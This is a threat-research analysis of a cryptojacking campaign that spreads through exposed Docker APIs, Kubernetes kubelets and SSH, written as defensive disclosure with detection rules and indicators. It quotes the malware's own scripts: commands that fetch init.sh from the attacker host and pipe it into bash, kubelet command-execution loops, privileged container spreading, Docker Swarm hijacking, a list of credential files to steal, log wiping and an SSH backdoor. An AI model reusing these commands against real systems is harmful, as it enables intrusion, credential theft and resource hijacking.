---
title: "Threat Actors leverage Docker Swarm and Kubernetes to mine cryptocurrency at scale"
description: "Analyzing a campaign where a threat actor leveraged Docker Swam and Kubernetes to mine cryptocurrency"
author: "Matt Muir, Andy Giron"
date: 2024-09-23
category: "research"
tags: ["threat research"]
url: "https://securitylabs.datadoghq.com/articles/threat-actors-leveraging-docker-swarm-kubernetes-mine-cryptocurrency/"
---

## Key points and observations

* We have discovered a new cryptojacking campaign targeting Docker Engine API, with the ability to move laterally to Docker Swarm, Kubernetes, and SSH servers. 
* We witnessed the threat actor joining compromised hosts in a threat actor-controlled Docker Swarm cluster, which enabled them to use Docker Swarm's orchestration features for command and control (C2) purposes.
* The campaign leverages Docker Hub, where the threat actor is hosting a number of malicious images. These images were still live at the time of writing.
* Hardcoded file system paths present in the payloads suggest targeting of compute infrastructure used for GitHub Codespaces.

## Attack flow

![Attack graph (click to enlarge).](https://securitylabs.dd-static.net/img/threat-actors-leveraging-docker-swarm-kubernetes-mine-cryptocurrency/attack.png?auto=format)
*Attack graph (click to enlarge).*

## Overview

Datadog Security Research recently discovered a new malware campaign targeting microservice technologies, namely Docker and Kubernetes. The campaign exploits Docker for initial access, deploying a cryptocurrency miner on infected containers before retrieving and executing a number of malicious payloads. 

These payloads are dedicated to lateral movement from the infected container to related hosts running Docker, Kubernetes, or SSH. One such payload is used to identify and compromise Kubernetes’ kubelet API. The [kubelet API](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) provides a way to programmatically manage pods (logical groups of containers) within a Kubernetes node. If compromised, a threat actor can use this API endpoint to deploy additional resources and execute malware on the containers themselves. 

Analysis of this campaign also revealed a Docker Hub user operated by the threat actors with the username `nmlmweb3`. It’s [not the first time](https://jfrog.com/blog/attacks-on-docker-with-millions-of-malicious-repositories-spread-malware-and-phishing-scams/) Docker’s container registry has been used to distribute malware, but this particular user and their repositories have yet to be discussed in public reporting. 

In addition to the payloads deployed in this attack, we discovered even more tooling used by this threat actor. Enumeration of an open web directory in the threat actor’s Command and Control (C2) server revealed a number of additional malware samples, demonstrating their targeting of Docker Swarm. Another Docker Hub user and associated repositories were also discovered. 

## Initial access

The attack begins with a malicious command the threat actors used against Docker API endpoints exposed to the Internet without authentication. This is a common [infection vector](https://securitylabs.datadoghq.com/articles/analysis-of-teamtnt-doppelganger.md) in cloud environments. Vulnerable endpoints are identified using Internet scanning tools, such as `masscan` and `zgrab`, that have been deployed on compromised nodes (compute instances or containers). This allows the group's malware to propagate in a worm-like fashion, allowing lateral movement across cloud infrastructure. 

Once a vulnerable endpoint has been identified, the malware uses the Docker API to spawn an Alpine container, mounts the underlying host’s file system inside the container, and executes a shell command to retrieve an initialization script responsible for starting the infection chain. 

```json  
  "Cmd": [  
    "chroot",  
    "/mnt",  
    "/bin/sh",  
    "-c",  
    "curl -sL4 http://solscan.live/sh/init.sh | bash;"  
  ],  
```
*Malicious shell command used to retrieve initialisation script*

```json
…  
"HostConfig": {  
    "Binds": ["/:/mnt"],  
…  
```
*Binding the Docker host’s file system to a mount point in the container*

## Actions on objective

### init.sh` `

The initialization script (`init.sh`) prepares the container for additional compromise by first ensuring that data transfer tools such as `curl` and `wget` are installed. The malware then determines if it’s running as the root user and, if so, proceeds to retrieve the official XMRig setup script from GitHub and execute it with the following XMRig User string ([T1496](https://attack.mitre.org/techniques/T1496/)):

`4AYe7ZbZEAMezv8jVqnagtWz24nA8dkcPaqHa8p8MLpqZvcWJSk7umPNhDuoXM2KRXfoCB7N2w2ZTLmTPj5GgoTvBipk1s9`

To conceal the process after execution, the script retrieves a process hider compiled as a Linux shared object file from the C2 server and saves it as `/etc/rig.so`. The shared object is then registered with the dynamic linker by echoing its path into the file `/etc/ld.so.preload`. This ensures that the file is executed every time another binary on the system is executed, a technique known as Dynamic Linker Hijacking ([T1574.006](https://attack.mitre.org/techniques/T1574/006/)).  

The process hider itself is a custom fork of [libprocesshider](https://github.com/gianlucaborello/libprocesshider), with the process name of `xmrig` hardcoded. Executing this via Dynamic Linker Hijacking means that the process hider will always be running in the background, ensuring that anything with the name `xmrig` is hidden from process listing tools such as `top` and `ps`.  

`init.sh` finishes by retrieving a number of additional payloads from the C2 and executing them in memory by either piping them through `bash` or `sh`. These payloads will be discussed in the coming sections. The malware also retrieves a custom version of XMRig if the user is non-root and saves this as `/var/tmp/dockerd` before executing it. This technique is used as an alternative attempt to disguise the XMRig process in situations where the user is non-root, as root privileges are required to write to `/etc/ld.so.preload`.

```bash
…
wget https://solscan.live/so/xmrig.so -O /etc/rig.so && echo "/etc/rig.so" >> /etc/ld.so.preload

wget -O - https://solscan.live/sh/kube.lateral.sh | bash &
if [ -f "/root/.ssh/id_rsa" ]; then wget -O - https://solscan.live/sh/spread_ssh.sh | bash ; fi
wget -O - https://solscan.live/sh/spread_docker_local.sh | bash &
…
```
*Excerpt from init.sh showing Dynamic Linker Hijacking and retrieval of additional payloads*

## Lateral movement

### kube.lateral.sh` `

`kube.lateral.sh` is the first of three scripts executed by `init.sh` that are responsible for lateral movement. As the name suggests, `kube.lateral.sh` specifically targets Kubernetes and begins by deploying a number of common defense impairment techniques ([T1562.004](https://attack.mitre.org/techniques/T1562/004/)), summarized here:
- Disabling the system firewall
- Updating `/etc/resolv.conf` to use public DNS resolvers (ensuring DNS requests made by the malware will resolve successfully)
- Removing monitoring agents from the host, including those used in Alibaba Cloud and Tencent Cloud
- Clearing the syslog
- Stopping the AppArmor service and disabling SELinux

If the Alpine Package Keeper (apk) is available in the container, the malware will retrieve `masscan` as an RPM package and install it using the `apk` command line utility. Otherwise, `masscan` is cloned from the official GitHub [repository](https://github.com/robertdavidgraham/masscan) and compiled on delivery ([T1027.004](https://attack.mitre.org/techniques/T1027/004/)). `zgrab` is installed in a similar manner.

The malware then searches for the directory `/root/.kube`, which contains client and root certificates for accessing a Kubernetes cluster with `kubectl`. If this isn’t found, a function named `setup_ircbot` is called. However, this function isn’t implemented in the version of the script we analyzed. Similarly, the malware will search for the file `/usr/sbin/ps`. If not found, a UPX-packed fork of XMRig is retrieved from the C2 and saved to this path. The XMRig fork contains a hardcoded password `KubePwn` to connect to the mining pool. Code to retrieve another shell script named `aws.sh` is also included. However, the C2 wasn’t serving this script at the time of analysis.

The rest of the script is dedicated to lateral movement to Kubernetes. The malware uses `masscan` to search for nodes with port 10250 (the Kubelet API) open in randomized subnets within various local area network (LAN) address ranges. These ranges include the following:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
- 169.254.0.0/16
- 100.64.0.0/10

If an IP is found with the target port open, a request is made to the `/runningpods/` endpoint of the kubelet API, and the script will use `jq` to parse the namespace, pod name, and container name for containers running within pods on the Kubernetes host. If successful, the malware reports this back to the C2 via an HTTP `GET` request to a URL with the parameter `?target=<ip>`:

```bash
curl -sLk https://solscan.live/up/kube_in.php?target=$theip
```

For each container discovered, `bash` is installed along with `curl` and `wget`. These are then used to retrieve the payload `setup_xmr.sh` and save it as `/tmp/.x1mr` (if `wget` is used) or `/tmp/.x2mr` (if `curl` is used). 

Note that the Kubernetes lateral movement techniques described above are very similar to those reported by [Trend Micro](https://www.trendmicro.com/en_us/research/21/e/teamtnt-targets-kubernetes--nearly-50-000-ips-compromised.html) in a campaign attributed to TeamTNT in May 2021.

```bash
kube_pwn() {
    LRANGE=$1
    rndstr=$(
        head /dev/urandom | tr -dc a-z | head -c 6
        echo ''
    )
    eval "$rndstr"="'$(masscan --open -p10250 $LRANGE --rate=250000 | awk '{print $6}')'"
    for ipaddr in ${!rndstr}; do
        if [ -f $TEMPFILE ]; then rm -f $TEMPFILE; fi
        timeout -s SIGKILL $T1OUT curl -sLk https://$theip:10250/runningpods/ | jq -r '.items[] | .metadata.namespace + " " + .metadata.name + " " + .spec.containers[].name' >>$TEMPFILE
        KUBERES=$?
        if [ "$KUBERES" = "0" ]; then
            curl -sLk https://solscan.live/up/kube_in.php?target=$theip
            while read namespace podname containername; do
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apt update --fix-missing"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apk update"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="yum install -y bash"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="yum install -y wget"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="yum install -y curl"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apt install -y bash"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apt install -y wget"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apt install -y curl"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apk add bash"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apk add wget"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apk add curl"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="wget "$INITPLOAD" -O /tmp/.x1mr"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="curl "$INITPLOAD" -o /tmp/.x2mr"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="sh /tmp/.x1mr"
                timeout -s SIGKILL $T1OUT curl -XPOST -k https://$theip:10250/run/$namespace/$podname/$containername -d cmd="sh /tmp/.x2mr"
            done <$TEMPFILE
            rm -rf $TEMPFILE
        fi
    done
}

LAN_RANGES=("10.0.0.0/8" "172.16.0.0/12" "192.168.0.0/16" "169.254.0.0/16" "100.64.0.0/10")
for LRANGE in ${LAN_RANGES[@]}; do kube_pwn $LRANGE; done

```
*Kubernetes lateral movement functionality*

### spread_docker_local.sh` `

To aid lateral movement to Docker endpoints in addition to Kubernetes, `init.sh` executes another shell script named `spread_docker_local.sh`. This script uses `masscan` and `zgrab` to scan the same LAN ranges described above for nodes with ports 2375, 2376, 2377, 4244, and 4243 open. These ports are associated with either Docker Engine or [Docker Swarm](https://docs.docker.com/engine/swarm/). 

For `masscan`, the threat actor uses the `--router-mac` parameter with the value `66-55-44-33-22-11` to limit the scan to local network devices. An example of the scanning commands for `masscan` and `zgrab` can be seen below:

```bash
eval "$rndstr"="'$(masscan --router-mac 66-55-44-33-22-11 $range -p$port --rate=$rate | awk '{print $6}'| zgrab --senders 200 --port $port --http='/v1.16/version' --output-file=- 2>/dev/null | grep -E 'ApiVersion|client version 1.16' | jq -r .ip)'";
```

For any IPs discovered with the target ports open, the malware attempts to spawn a new container with the name `alpine`. This container is based on an image named `upspin`, hosted on Docker Hub by the user `nmlmweb3`. At the time of writing, this malicious user was still active in Docker Hub and had six repositories listed under their account.

![Screenshot of nmlmweb3’s Docker Hub user profile at the time of writing (click to enlarge).](https://securitylabs.dd-static.net/img/threat-actors-leveraging-docker-swarm-kubernetes-mine-cryptocurrency/docker-hub.png?auto=format)
*Screenshot of nmlmweb3’s Docker Hub user profile at the time of writing (click to enlarge).*

The Docker image tag that’s used to retrieve the image from Docker Hub is specified by the threat actor's C2 server by using a text file pulled to the compromised host at the beginning of the script. This allows the threat actors to easily update the campaign with a new malicious image should the existing one be taken down. 

```bash
PWNTAINER=$(curl -s https://solscan.live/data/docker.container.local.spread.txt)
```
*Command to retrieve the Docker image tag from the C2 server and store it in the variable `PWNTAINER`*

At the time of writing, the `upspin` image simply executes the `init.sh` script covered previously. An additional container is also spawned on discovered hosts, this time based on the vanilla Alpine Linux image. In the same command used to spawn the container, the threat actor installs `bash`, `curl`, and `wget` before retrieving the `init.sh` script from the C2 and executing it in memory by piping through `sh`.

```bash
for ipaddy in ${!rndstr}; do
  timeout -s SIGKILL 120 docker -H $TARGET run -d --network host --privileged --name alpine -v /:/host $PWNTAINER & 
  timeout -s SIGKILL 240 docker -H $TARGET run -d --network host --privileged -v /:/mnt alpine sh -c 'apk update; apk add bash curl wget; apt update; apt install -y  bash curl wget; yum install -y  bash curl wget; wget -q -O - $PWNWWWLNK | sh || curl -s $PWNWWWLNK | sh' &
done
```
*Commands used to spawn malicious containers on discovered Docker hosts*

### spread_ssh.sh` `

In addition to targeting Kubernetes and Docker, the threat actors use a third shell script—named `spread_ssh.sh`—to identify and compromise SSH servers on the local network. This script is also executed directly in memory by `init.sh`. 

The script first checks for an infection marker in the form of a file located at the path `/var/tmp/.alsp`. If this file isn’t present, the malware prints a series of hash characters and makes a silent HTTP `GET` request to the IP 147[.]75.47.199 using `curl`. This IP was previously attributed to TeamTNT by [Intezer](https://intezer.com/blog/malware-analysis/teamtnt-cryptomining-explosion/) in 2022. If the file is found, the script echos `replay .. i know this server …` before exiting.

`spread_ssh.sh` then retrieves `pnscan` as a tar archive from the C2 server, which is used instead of `masscan` or `zgrab` to scan the LAN for hosts with port 22 open. The command `ip route show` is used to determine the subnet in which the current node resides, to be used for scanning. After parsing the output of this command, the results are stored in a file at the path `/home/hilde/.ssh/.ranges` and the scan results are stored in `/home/hilde/.ssh/.known_hosts`. The malware also attempts to discover known hosts by searching for SSH commands and IP addresses in shell history, in addition to searching for SSH private keys to be used in connection attempts.

For any discovered SSH servers, the script will connect to each in turn and attempt to use SSH remote command invocation to spread a copy of itself to the target host. This is achieved by using `curl` to retrieve the payload on the target host and executing it directly in memory by piping through `sh`. 

Two additional scripts are executed by `spread_ssh.sh`—`search.sh` and `setup_xmr.sh` (covered in the [Resource Hijacking](#resource-hijacking) section). The first, named `search.sh`, defines an SSH key to be used by the threat actors to connect to the existing compromised host. It also creates a new user named `ftp` and assigns the user a password of `Nmlmtcg1999$`, allowing the threat actors to maintain access to the compromised host. 

`search.sh` also hunts for credential files associated with cloud and other networked services by using an array of hardcoded paths:

```bash
declare -a PATH_ARRAY=(
    "/home/codespace/.ssh/id_rsa"
    "/home/codespace/.ssh/id_rsa.pub"
    "/home/codespace/.ssh/known_hosts"
    "/home/codespace/.ssh/config"
    "/home/codespace/.ssh/authorized_keys"
    "/home/codespace/.ssh/authorized_keys2"
    "/home/codespace/.aws/config"
    "/home/codespace/.aws/credentials"
    "/home/codespace/.aws/credentials.gpg"
    "/home/codespace/.docker/config.json"
    "/home/codespace/.docker/ca.pem"
    "/home/codespace/.s3backer_passwd"
    "/home/codespace/s3proxy.conf"
    "/home/codespace/.s3ql/authinfo2"
    "/home/codespace/.passwd-s3fs"
    "/home/codespace/.s3cfg"
    "/home/codespace/.git-credentials"
    "/home/codespace/.gitconfig"
    "/home/codespace/.shodan/api_key"
    "/home/codespace/.ngrok2/ngrok.yml"
    "/home/codespace/.purple/accounts.xml"
    "/home/codespace/.config/filezilla/filezilla.xml"
    "/home/codespace/.config/filezilla/recentservers.xml"
    "/home/codespace/.config/hexchat/servlist.conf"
    "/home/codespace/.config/monero-project/monero-core.conf"
    "/home/codespace/.boto"
    "/home/codespace/.netrc"
    "/home/codespace/.config/gcloud/access_tokens.db"
    "/home/codespace/.config/gcloud/credentials.db"
    "/home/codespace/.davfs2/secrets"
    "/home/codespace/.pgpass"
    "/home/codespace/.local/share/jupyter/runtime/notebook_cookie_secret"
    "/home/codespace/.smbclient.conf"
    "/home/codespace/.smbcredentials"
    "/home/codespace/.samba_credentials"
)
```

These paths indicate that the threat actor intends to target compute instances used for GitHub’s [Codespaces](https://github.com/features/codespaces) remote development feature. If any files are discovered at these paths, the script bundles them into a tar archive and uploads them to the following C2 endpoint: `https://solscan[.]live/upload.php`.

## Resource hijacking

Both the Kubernetes and SSH lateral movement payloads deploy an additional script named `setup_xmr.sh`, which is used to retrieve and execute the XMRig cryptocurrency miner. This payload is also hosted on the threat actor’s C2 server, along with the XMRig binary itself. `setup_xmr.sh` saves the XMRig binary as `/var/tmp/.system`, before changing into the directory and executing the miner with the following parameters:
- Mining pool: `pool.supportxmr.com:3333`
- Username: `4AYe7ZbZEAMezv8jVqnagtWz24nA8dkcPaqHa8p8MLpqZvcWJSk7umPNhDuoXM2KRXfoCB7N2w2ZTLmTPj5GgoTvBipk1s9`
- Mining pool password: `GesichtsKirmes` (translates to “FaceFair” from German)

In addition to this, another script named `spread_kube_loop.sh` is retrieved and executed. This script contains Kubernetes lateral movement code with similar functionality to that described in the analysis of `kube.lateral.sh`, the only exception being that the scan ranges are not limited to the LAN. 

## C2 enumeration and additional payloads

After analyzing the payloads described above, we discovered that the web server behind the solscan[.]live domain—used for payload delivery throughout this campaign—was exposing a publicly accessible web directory. We enumerated this directory and discovered additional payloads belonging to the threat actor.

These included:
- `ar.sh`, a variant of `init.sh`
- `TDGINIT.sh` 
- `pdflushs.sh`

Passive C2 enumeration led to the discovery of `ar.sh`, a variant of `init.sh` that modifies `iptables` rules and adjusts system configurations to evade detection. `ar.sh` also clears logs and cron jobs, replacing them with malicious entries to ensure the miner’s uninterrupted operation.

```bash
iptables -F systemctl stop firewalld 2>/dev/null 1>/dev/null systemctl disable firewalld 2>/dev/null 1>/dev/null service iptables stop 2>/dev/null 1>/dev/null ulimit -n 65535 2>/dev/null 1>/dev/null
```
*Modification of iptables*

```bash
localgo() {
  echo > /var/spool/mail/root
  echo > /var/log/wtmp
  echo > /var/log/secure
  if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
    for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do 
      ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o-  ${mainurl/b.sh} | bash >/dev/null 2>&1 &' & 
    done
  fi
}
```
*Clearing local logs and lateral movement to SSH known hosts*

`ar.sh` also differed from `init.sh` in its delivery of libprocesshider. Instead of retrieving the compiled binary from the C2 server, the threat actor decodes an inline base64-encoded version of the process hider’s source code before compiling it on delivery.

Similar to the scripts described above, `TDGINIT.sh` starts downloading the required tools, including `curl`, `wget`, `bash`, `masscan`, `jq`, and `docker`, from its C2 server `http://solscan[.]live/bin/zgrab`.  It also performs a masscan scan targeting specific ports, such as 2375, 2376, and 4243. For each identified host, it uploads its findings to its C2 server `wget -q "http://solscan[.]live/incoming/docker.php?dockerT=$IPADDR:$PORT"` . Additionally, it executes a series of malicious commands, including downloading and running Docker containers, such as ```xululol/unminerxmr```.

One interesting tactic used by the script is its manipulation of Docker Swarm. After compromising a Docker host, the script forces the host to leave any existing Swarm, only to join a new Swarm controlled by the threat actor using a predefined token. This allows the threat actor to expand their control over multiple Docker instances in a coordinated fashion, effectively turning compromised systems into a botnet for further exploitation. This is the first time Datadog Security Research has observed the manipulation of Docker Swarm.
```bash
DOCKER_GATLING_GUN(){
  PORT=$1
  RATE=$2
  RANGE=$3
  rndstr=$(head /dev/urandom | tr -dc a-z | head -c 6 ; echo '')
  eval "$rndstr"="'$(masscan -p$PORT $RANGE.0.0.0/8 --rate=$RATE | awk '{print $6}'| zgrab --senders 200 --port $PORT --http='/v1.16/version' --output-file=- 2>/dev/null | grep -E 'ApiVersion|client version 1.16' | jq -r .ip)'";
  for IPADDR in ${!rndstr}; do 
    echo "$IPADDR:$PORT"
    wget -q "http://solscan.live/incoming/docker.php?dockerT=$IPADDR:$PORT" -O /dev/null
    timeout -s SIGKILL 120 docker -H tcp://$IPADDR:$PORT run -d --privileged --net host -v /:/mnt xululol/unminerxmr 
    timeout -s SIGKILL 120 docker -H tcp://$IPADDR:$PORT run -d --privileged --net host -v /:/mnt alpine sh -c 'apk update; apt-get update ; yum clean all ; apk add bash wget ; apt-get install -y bash wget ; yum install -y bash wget ; wget -O -  http://solscan.live/chimaera/sh/init.sh | sh || curl  http://solscan.live/chimaera/sh/init.sh | bash' &
    timeout -s SIGKILL 30 docker -H tcp://$IPADDR:$PORT swarm leave --force
    timeout -s SIGKILL 30 docker -H tcp://$IPADDR:$PORT swarm join --token SWMTKN-1-5boro95fiuswddse7fpl7nzpavv3xon3xpbynelcrtnu7vqggt-cd9rfe6vsjsw7gdq1cq5nspw4 164.68.106[.]96:2377
  done;
}
```
*Docker Swarm manipulation*

This snippet illustrates how the script forces Docker instances to join a malicious Docker Swarm controlled by the threat actor at `164.68.106.96`.

In addition to `ar.sh` and `TDGINIT.sh`, we also encountered a script named `pdflushs.sh`. The script installs a persistent backdoor by appending a threat-actor-controlled SSH key to the `/root/.ssh/authorized_keys` file. This backdoor is protected using `chattr +ai`, which makes the file immutable, preventing removal or modification. If the key is missing or the immutability is disabled, the script reinstates the key and reapplies the immutable flag, ensuring the backdoor remains intact.

```bash
checkBackdoor(){
   $busybox chattr +ai /root/.ssh/authorized_keys
   if ! $busybox grep -q "paDKiUwmHNUSW7E1S18Cl" /root/.ssh/authorized_keys
   then
       $busybox echo "ssh-rsa AAAAB3..." > /root/.ssh/authorized_keys
       $busybox chattr +ai /root/.ssh/authorized_keys
   fi
}
```

The script establishes communication with the same C2 server located at `solscan[.]live` to check for updates to its components. By downloading the SHA-512 hash of various malware files from the server, it compares them with the local versions. If any discrepancies are found, the script fetches and installs the updated components. Datadog Security Research has started observing an increase in malicious software validation and process termination of other malicious software, which hints at a potential turf conflict among threat actors.

```bash
download2() {
  $WGET $DIR/solscan https://solscan[.]live/chimaera/bin/xmr/x86_64
  chmod +x $DIR/solscan
  if [ -x "$(command -v md5sum)" ]; then
    sum=$(md5sum $DIR/solscan | awk '{ print $1 }')
    echo $sum
    case $sum in
    154c26c9ddc84930f2acd899cd182916)
      echo "solscan OK"
      ;;
    *)
      echo "solscan wrong"
      download3
      ;;
    esac
  else
    echo "No md5sum"
    download3
  fi
}
```
*Validating integrity of XMR*

```bash
checkUpdate(){
    remoteXmrigSha512=`$busybox wget http://$remoteIp/sha512/xmrig -O - -q`
    localXmrigSha512=`$busybox sha512sum $xmrig | $busybox awk '{print $1}'`
    if [[ $remoteXmrigSha512 != $localXmrigSha512 ]]
    then
        $busybox wget http://$remoteIp/update/xmrig -O $xmrig
    fi
}
```
*Checking for updates*

To maintain persistence, the script leverages cron jobs, using the hidden `libgc++.so` file as a cron daemon. It ensures that the cron process is always running and restarts it if necessary. Additionally, the cron job itself is checked regularly to ensure it hasn’t been modified or removed. 

```bash
checkCronProc(){
   if [[ `$busybox ps | $busybox grep "libgc++.so" | $busybox grep -v grep | $busybox wc -l` != 1 ]]
   then
       nohup $cron > /dev/null &
   fi
}
```

## Attribution

Several tactics, techniques and procedures used throughout this campaign overlap with those attributed to TeamTNT. The group is well-known for targeting microservice technologies commonly deployed in cloud environments, including Docker and Kubernetes. 

Additionally, payloads from the current campaign include multiple references to infrastructure and artifacts from previous campaigns. `init.sh` contains commented-out references to borg[.]wtf, a domain attributed to TeamTNT by [Unit42](https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/) in 2021. Similarly, `setup_xmr.sh` contains commented-out references to the IP 45[.]9[.]148[.]35, also attributed to TeamTNT by [Unit42](https://unit42.paloaltonetworks.com/teamtnt-operations-cloud-environments/). 

Despite these similarities, at the time of writing we found no overlap in the infrastructure underpinning this campaign and the infrastructure used in our [February](https://securitylabs.datadoghq.com/articles/analysis-of-teamtnt-doppelganger.md) analysis of TeamTNT activities. In addition, the use of shell script payloads makes it difficult to cluster malware samples based on the use of strings and commented code. It would be trivial for the threat actor to add commented references to TeamTNT infrastructure found in public reporting to these scripts, for example. 

Based on the available evidence, we assign low confidence to the attribution of this campaign. While some indicators suggest a possible link to prior activity, the lack of corroborating evidence prevents a direct conclusion at this time.

## How Datadog can help

[Cloud Security Management (CSM) Threats](https://docs.datadoghq.com/security/threats/) leverages a real-time eBPF agent to detect various stages of post-exploitation activity, including:

- [SSH authorized keys modified](https://docs.datadoghq.com/security/default_rules/e59-lrj-bki)
- [Network utility executed](https://docs.datadoghq.com/security/default_rules/zwp-j22-2l2)
- [DNS lookup for paste site service](https://docs.datadoghq.com/security/default_rules/3tl-l71-myn)
- [Connection to cryptomining pool](https://docs.datadoghq.com/security/default_rules/rj1-4ys-28u)
- [Docker daemon publicly accessible](https://docs.datadoghq.com/security/default_rules/z5o-yv0-x0c)
- [Executable bit added to newly created file](https://docs.datadoghq.com/security/default_rules/def-000-80h)

## Conclusion

This campaign demonstrates that services such as Docker and Kubernetes remain fruitful for threat actors conducting cryptojacking at scale. Payloads dedicated to lateral movement throughout the campaign show an awareness of common deployment scenarios in cloud environments, along with a knowledge of misconfigurations frequently encountered in the wild. 

Despite this, the campaign relies on Docker API endpoints being exposed to the Internet without authentication. While this misconfiguration does occur, it’s likely that this is considered “low-hanging fruit” for threat actors and will attract campaigns of an opportunistic nature. Regardless, the malware’s ability to propagate rapidly means that even if the chances of initial access are relatively slim, the rewards are high enough to keep cloud-focused malware groups motivated enough to continue conducting these attacks. 

## Indicators of compromise

Files:

```
docker.container.local.spread.txt (9d02707b895728b4229abd863aa6967d67cd8ce302b30dbcd946959e719842ad
init.sh (700635abe402248ccf3ca339195b53701d989adb6e34c014b92909a2a1d5a0ff)
kube.lateral.sh (2514e5233c512803eff99d4e16821ecc3b80cd5983e743fb25aa1bcc17c77c79)
search.sh (6157a74926cfd66b959d036b1725a63c704b76af33f59591c15fbf85917f76fa)
setup_xmr.sh (6f426065e502e40da89bbc8295e9ca039f28b50e531b33293cee1928fd971936)
spread_docker_local.sh (78ebc26741fc6bba0781c6743c0a3d3d296613cc8a2bce56ef46d9bf603c7264)
spread_kube_local.sh (e6985878b938bd1fba3e9ddf097ba1419ff6d77c3026abdd621504f5c4186441)
spread_ssh.sh (d99bd3a62188213894684d8f9b4f39dbf1453cc7707bac7f7b8f484d113534b0)
x86_64 (505237e566b9e8f4a83edbe45986bbe0e893c1ca4c5837c97c6c4700cfa0930a)
xmr.sh.sh (e4c4400a4317a193f49c0c53888ec2f27e20b276c2e6ee1a5fd6eacf3f2a0214)
xmrig (c5391314ce789ff28195858a126c8a10a4f9216e8bd1a8ef71d11c85c4f5175c)
xmrig.so (0af1b8cd042b6e2972c8ef43d98c0a0642047ec89493d315909629bcf185dffd)
```

Domains:

```
solscan.live
​​x.solscan.live
```

IP addresses:

```
164.68.106[.]96
```

URLs: 

```
http://192[.]155[.]94[.]199/sh/xmr[.]sh[.]sh
http://45[.]9[.]148[.]35/aws
https://solscan[.]live/aws[.]sh
https://solscan[.]live/bin/64bit/xmrig
https://solscan[.]live/bin/pnscan_1[.]12+git20180612[.]orig[.]tar[.]gz
https://solscan[.]live/bin/xmr/x86_64
https://solscan[.]live/bin/xmrig
https://solscan[.]live/data/docker[.]container[.]local[.]spread[.]txt
https://solscan[.]live/input/kube_in[.]php?target=<IP Address>
https://solscan[.]live/scan_threads[.]dat
https://solscan[.]live/sh/init[.]sh
https://solscan[.]live/sh/kube[.]lateral[.]sh
https://solscan[.]live/sh/search[.]sh
https://solscan[.]live/sh/setup_xmr[.]sh
https://solscan[.]live/sh/spread_docker_local[.]sh
https://solscan[.]live/sh/spread_kube_loop[.]sh
https://solscan[.]live/sh/spread_ssh[.]sh
https://solscan[.]live/sh/xmr[.]sh[.]sh
https://solscan[.]live/so/xmrig[.]so
https://solscan[.]live/up/kube_in[.]php?target=<IP Address>
https://solscan[.]live/upload[.]php
```
